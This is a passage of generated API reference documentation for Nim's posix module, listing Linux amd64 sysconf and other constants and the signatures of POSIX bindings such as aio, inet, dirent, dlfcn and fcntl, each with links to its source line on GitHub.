[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L665) ``` SC_SEM_NSEMS_MAX = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L666) ``` SC_SEM_VALUE_MAX = 33'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L667) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L667) ``` SC_SEMAPHORES = 21'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L668) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L668) ``` SC_SHARED_MEMORY_OBJECTS = 22'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L669) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L669) ``` SC_SHELL = 157'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L670) ``` SC_SIGQUEUE_MAX = 34'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L671) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L671) ``` SC_SPAWN = 159'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L672) ``` SC_SPIN_LOCKS = 154'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L673) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L673) ``` SC_SPORADIC_SERVER = 160'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L674) ``` SC_SS_REPL_MAX = 241'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L675) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L675) ``` SC_STREAM_MAX = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L676) ``` SC_SYMLOOP_MAX = 173'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L677) ``` SC_SYNCHRONIZED_IO = 14'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L678) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L678) ``` SC_THREAD_ATTR_STACKADDR = 77'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L679) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L679) ``` SC_THREAD_ATTR_STACKSIZE = 78'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L680) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L680) ``` SC_THREAD_CPUTIME = 139'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L681) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L681) ``` SC_THREAD_DESTRUCTOR_ITERATIONS = 73'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L682) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L682) ``` SC_THREAD_KEYS_MAX = 74'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L683) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L683) ``` SC_THREAD_PRIO_INHERIT = 80'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L684) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L684) ``` SC_THREAD_PRIO_PROTECT = 81'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L685) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L685) ``` SC_THREAD_PRIORITY_SCHEDULING = 79'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L686) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L686) ``` SC_THREAD_PROCESS_SHARED = 82'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L687) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L687) ``` SC_THREAD_SAFE_FUNCTIONS = 68'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L688) ``` SC_THREAD_SPORADIC_SERVER = 161'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L689) ``` SC_THREAD_STACK_MIN = 75'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L690) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L690) ``` SC_THREAD_THREADS_MAX = 76'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L691) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L691) ``` SC_THREADS = 67'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L692) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L692) ``` SC_TIMEOUTS = 164'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L693) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L693) ``` SC_TIMER_MAX = 35'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L694) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L694) ``` SC_TIMERS = 11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L695) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L695) ``` SC_TRACE = 181'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L696) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L696) ``` SC_TRACE_EVENT_FILTER = 182'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L697) ``` SC_TRACE_EVENT_NAME_MAX = 242'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L698) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L698) ``` SC_TRACE_INHERIT = 183'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L699) ``` SC_TRACE_LOG = 184'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L700) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L700) ``` SC_TRACE_NAME_MAX = 243'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L701) ``` SC_TRACE_SYS_MAX = 244'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L702) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L702) ``` SC_TRACE_USER_EVENT_MAX = 245'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L703) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L703) ``` SC_TTY_NAME_MAX = 72'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L704) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L704) ``` SC_TYPED_MEMORY_OBJECTS = 165'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L705) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L705) ``` SC_TZNAME_MAX = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L706) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L706) ``` SC_V6_ILP32_OFF32 = 176'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L707) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L707) ``` SC_V6_ILP32_OFFBIG = 177'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L708) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L708) ``` SC_V6_LP64_OFF64 = 178'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L709) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L709) ``` SC_V6_LPBIG_OFFBIG = 179'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L710) ``` SC_VERSION = 29'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L711) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L711) ``` SC_XBS5_ILP32_OFF32 = 125'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L712) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L712) ``` SC_XBS5_ILP32_OFFBIG = 126'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L713) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L713) ``` SC_XBS5_LP64_OFF64 = 127'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L714) ``` SC_XBS5_LPBIG_OFFBIG = 128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L715) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L715) ``` SC_XOPEN_CRYPT = 92'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L716) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L716) ``` SC_XOPEN_ENH_I18N = 93'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L717) ``` SC_XOPEN_LEGACY = 129'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L718) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L718) ``` SC_XOPEN_REALTIME = 130'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L719) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L719) ``` SC_XOPEN_REALTIME_THREADS = 131'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L720) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L720) ``` SC_XOPEN_SHM = 94'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L721) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L721) ``` SC_XOPEN_STREAMS = 246'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L722) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L722) ``` SC_XOPEN_UNIX = 91'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L723) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L723) ``` SC_XOPEN_VERSION = 89'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L724) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L724) ``` SC_NPROCESSORS_ONLN = 84'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L725) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L725) ``` SEEK_SET = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L726) ``` SEEK_CUR = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L727) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L727) ``` SEEK_END = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L728) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L728) ``` RUSAGE_SELF = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L712) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L712) ``` RUSAGE_CHILDREN = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L713) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L713) ``` RUSAGE_THREAD = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L714) ``` INVALID_SOCKET = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L892) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L892) Procs ----- ``` proc WEXITSTATUS(s: cint): cint {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L572) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L572) ``` proc WTERMSIG(s: cint): cint {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L573) ``` proc WSTOPSIG(s: cint): cint {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L574) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L574) ``` proc WIFEXITED(s: cint): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L575) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L575) ``` proc WIFSIGNALED(s: cint): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L576) ``` proc WIFSTOPPED(s: cint): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L577) ``` proc WIFCONTINUED(s: cint): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L578) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L578) ``` proc st_atime(s: Stat): Time {...}{.inline, raises: [], tags: [].} ``` Second-granularity time of last access. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L116) ``` proc st_mtime(s: Stat): Time {...}{.inline, raises: [], tags: [].} ``` Second-granularity time of last data modification. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L119) ``` proc st_ctime(s: Stat): Time {...}{.inline, raises: [], tags: [].} ``` Second-granularity time of last status change. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L122) ``` proc aio_cancel(a1: cint; a2: ptr Taiocb): cint {...}{.importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L137) ``` proc aio_error(a1: ptr Taiocb): cint {...}{.importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L138) ``` proc aio_fsync(a1: cint; a2: ptr Taiocb): cint {...}{.importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L139) ``` proc aio_read(a1: ptr Taiocb): cint {...}{.importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L140) ``` proc aio_return(a1: ptr Taiocb): int {...}{.importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L141) ``` proc aio_suspend(a1: ptr ptr Taiocb; a2: cint; a3: ptr Timespec): cint {...}{. importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L142) ``` proc aio_write(a1: ptr Taiocb): cint {...}{.importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L144) ``` proc lio_listio(a1: cint; a2: ptr ptr Taiocb; a3: cint; a4: ptr SigEvent): cint {...}{. importc, header: "<aio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L145) ``` proc htonl(a1: uint32): uint32 {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L149) ``` proc htons(a1: uint16): uint16 {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L150) ``` proc ntohl(a1: uint32): uint32 {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L151) ``` proc ntohs(a1: uint16): uint16 {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L152) ``` proc inet_addr(a1: cstring): InAddrT {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L154) ``` proc inet_ntoa(a1: InAddr): cstring {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L155) ``` proc inet_ntop(a1: cint; a2: pointer; a3: cstring; a4: int32): cstring {...}{. importc: "(char *)$1", header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L156) ``` proc inet_pton(a1: cint; a2: cstring; a3: pointer): cint {...}{.importc, header: "<arpa/inet.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L158) ``` proc IN6ADDR_ANY_INIT(): In6Addr {...}{.importc, header: "<netinet/in.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L165) ``` proc IN6ADDR_LOOPBACK_INIT(): In6Addr {...}{.importc, header: "<netinet/in.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L166) ``` proc closedir(a1: ptr DIR): cint {...}{.importc, header: "<dirent.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L169) ``` proc opendir(a1: cstring): ptr DIR {...}{.importc, header: "<dirent.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L170) ``` proc readdir(a1: ptr DIR): ptr Dirent {...}{.importc, header: "<dirent.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L171) ``` proc readdir_r(a1: ptr DIR; a2: ptr Dirent; a3: ptr ptr Dirent): cint {...}{.importc, header: "<dirent.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L172) ``` proc rewinddir(a1: ptr DIR) {...}{.importc, header: "<dirent.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L174) ``` proc seekdir(a1: ptr DIR; a2: int) {...}{.importc, header: "<dirent.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L175) ``` proc telldir(a1: ptr DIR): int {...}{.importc, header: "<dirent.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L176) ``` proc dlclose(a1: pointer): cint {...}{.importc, header: "<dlfcn.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L179) ``` proc dlerror(): cstring {...}{.importc, header: "<dlfcn.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L180) ``` proc dlopen(a1: cstring; a2: cint): pointer {...}{.importc, header: "<dlfcn.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L181) ``` proc dlsym(a1: pointer; a2: cstring): pointer {...}{.importc, header: "<dlfcn.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L182) ``` proc creat(a1: cstring; a2: Mode): cint {...}{.importc, header: "<fcntl.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L184) ``` proc fcntl(a1: cint | SocketHandle; a2: cint): cint {...}{.varargs, importc, header: "<fcntl.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L185) ``` proc open(a1: cstring; a2: cint): cint {...}{.varargs, importc, header: "<fcntl.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L186) ``` proc posix_fadvise(a1: cint; a2, a3: Off; a4: cint): cint {...}{.importc, header: "<fcntl.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L187) ``` proc posix_fallocate(a1: cint; a2, a3: Off): cint {...}{.importc, header: "<fcntl.h>".} ``` 